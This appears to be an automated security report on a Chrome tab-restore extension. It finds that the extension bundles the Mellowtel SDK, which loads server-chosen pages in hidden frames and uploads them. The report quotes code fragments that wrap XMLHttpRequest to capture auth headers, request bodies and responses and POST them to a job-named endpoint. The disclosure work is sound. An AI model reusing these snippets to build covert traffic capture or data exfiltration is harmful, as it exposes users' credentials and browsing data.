Is Undo Closed Tabs – Reopen Last Tab safe?

Medium risk

Undo Closed Tabs bundles the Mellowtel SDK, which loads server-chosen pages in hidden frames and uploads their content.

After the user opts in on a Mellowtel consent page, the extension keeps a websocket open to ws.mellow.tel and receives crawl jobs. Each job loads a URL chosen by the server in a hidden iframe or tab and uploads the page HTML, Markdown and screenshots to a server-given endpoint. Jobs can also inject a script that records request headers, request bodies and response bodies of the crawled page and sends them to a job-specified endpoint. None of this relates to the tab-restore feature.

siegeappbrasilv1.0.4Chrome Web Store
55Risk
Who publishes it

siegeappbrasil - 11 other listings from the same operator, 10 of them carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
siegeappbrasil

Same store account

11 other listings published from this account, 2k+ users between them. 10 of them carry a finding.

Clock, Alarm, Timer & Stopwatch692MediumImage Downloader Assistant - Batch Save Images337MediumAlarm, Timer & Stopwatch for Browser230MediumQR Code Generator & Reader69MediumVideo Speed Controller - Universal Video Playback Speed59MediumMonitix – Stock & Crypto Price Alert & Tracker41Medium5 more listings in the relationship graph, on paid plans →

Shared hosts - 2 hostnames

Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.

docs.mellowtel.com
Also called by 1 other listing: Edit Anything
endpoint-example.com
Also called by 1 other listing: Edit Anything

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Undo Tabs SDK can inject a script that records XHR bodies on crawled pages

Code analysis shows a bundled script, when a remote job supplies two attributes, wraps XMLHttpRequest on a crawled page and forwards request and response data to a job-named endpoint.

Severity
High unwanted
Type
Unexpected
CWE
CWE-359
Source
Static analysis
What actually happens
You did this

A remote job loads a page and includes a burke-id and an api-endpoint.

The extension did this

A script in that page records each XMLHttpRequest and its response, then passes it on for upload.

The endpoint comes from the job, not from you.

The code that does this

XHR wrapping in the web-accessible meucci.js

Readable version

Reads job attributes, gates on both being present

meucci.js
burke_id: s.getAttribute("burke-id") || "",api_endpoint: s.getAttribute("api-endpoint") || "",callback: void 0};n.burke_id && n.api_endpoint && function(e) {

Posts each record to the parent frame

meucci.js
function _(e) {  window.parent.postMessage({    isBurkeProcessed: !0,    recordID: e.id,    resultToSave: JSON.stringify(e),    apiEndpoint: t.api_endpoint,    type: "saveBurkeResult"  }, "*")}
Fields recorded per XHR by meucci.js
  • Request URL
    https://example.com/api/v2/account

    The address of every request the page makes while wrapped.

  • Request headers
    {"Authorization":"Bearer abc123"}

    Headers set through setRequestHeader, which can include auth tokens.

  • Sent data
    {"email":"user@example.com"}

    The body the page sent with the request.

  • Response data
    {"balance":120.5}

    The response text and parsed JSON the server returned.

  • Status and headers
    200 OK

    HTTP status and response headers of the request.

The code that does this

Content script relays the result to the SDK

Readable version
content_script.js
if (event.data?.type === "saveBurkeResult") {  sendToBackground({    intent: "saveMeucciResult",    recordID: event.data.recordID,    apiEndpoint: event.data.apiEndpoint,    resultToSave: event.data.resultToSave  });}
Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

Undo Tabs bundles an SDK that loads server-chosen pages and uploads them

Code analysis shows a bundled SDK holds a websocket to ws.mellow.tel and, after opt-in, can load server-chosen URLs in off-screen frames and upload the page HTML and Markdown to server-named endpoints.

Severity
High unwanted
Type
Unexpected
CWE
CWE-359
Source
Static analysis
What actually happens
You did this

You install the tab-restore extension and accept the consent page it opens.

The extension did this

It keeps a connection to ws.mellow.tel open and can be told to load pages and upload their content.

The tab-restore features do not use this traffic.

The code that does this

SDK start-up and server address in the background worker

Readable version

Server address and reconnect backoff (30s to 1h)

background.js
Is = "wss://ws.mellow.tel"Ds = [30000, 60000, 300000, 600000, 1200000, 3600000]

SDK initialisation with a fixed account key

background.js
const sdk = new MellowtelSDK("1448c4f8");await sdk.initBackground();
The code that does this

Message handler that forwards a result to the server-given endpoint

Readable version

POST to whatever endpoint the message carries

content_script.js
if (msg.intent === "saveMeucciResult") {  fetch(msg.apiEndpoint, { method: "POST", body: msg.resultToSave });}

Job fields read from the server message

content_script.js
methodEndpoint: job.method_endpoint ?? "",methodPayload: job.method_payload ?? "no_payload",methodHeaders: job.method_headers ?? "no_headers"
Hosts named in the SDK code
    • ws.mellow.tel

    Websocket that receives crawl jobs after opt-in.

    • api.mellow.tel

    SDK API, including an approval check.

    • mellowtel-bucket.s3.us-east-1.amazonaws.com

    Upload target for page content named by a job.

    • *.lambda-url.us-east-1.on.aws

    Function endpoints that can receive uploads named by a job.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

Where it sends data

Destinations our analysis observed Undo Closed Tabs – Reopen Last Tab contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • ws.mellow.tel

    Undo Closed Tabs – Reopen Last Tab sends data to ws.mellow.tel. 20 other extensions we have analysed send data here.

  • api.mellow.tel

    Undo Closed Tabs – Reopen Last Tab sends data to api.mellow.tel. 13 other extensions we have analysed send data here.

  • *.lambda-url.us-east-1.on.aws

    Undo Closed Tabs – Reopen Last Tab sends data to *.lambda-url.us-east-1.on.aws. No other extension we have analysed sends data here.

  • mellowtel-bucket.s3.us-east-1.amazonaws.com

    Undo Closed Tabs – Reopen Last Tab sends data to mellowtel-bucket.s3.us-east-1.amazonaws.com. No other extension we have analysed sends data here.

Updated 15 October 2026pmiplgmplhmiaieiggpnoocpbdlcoino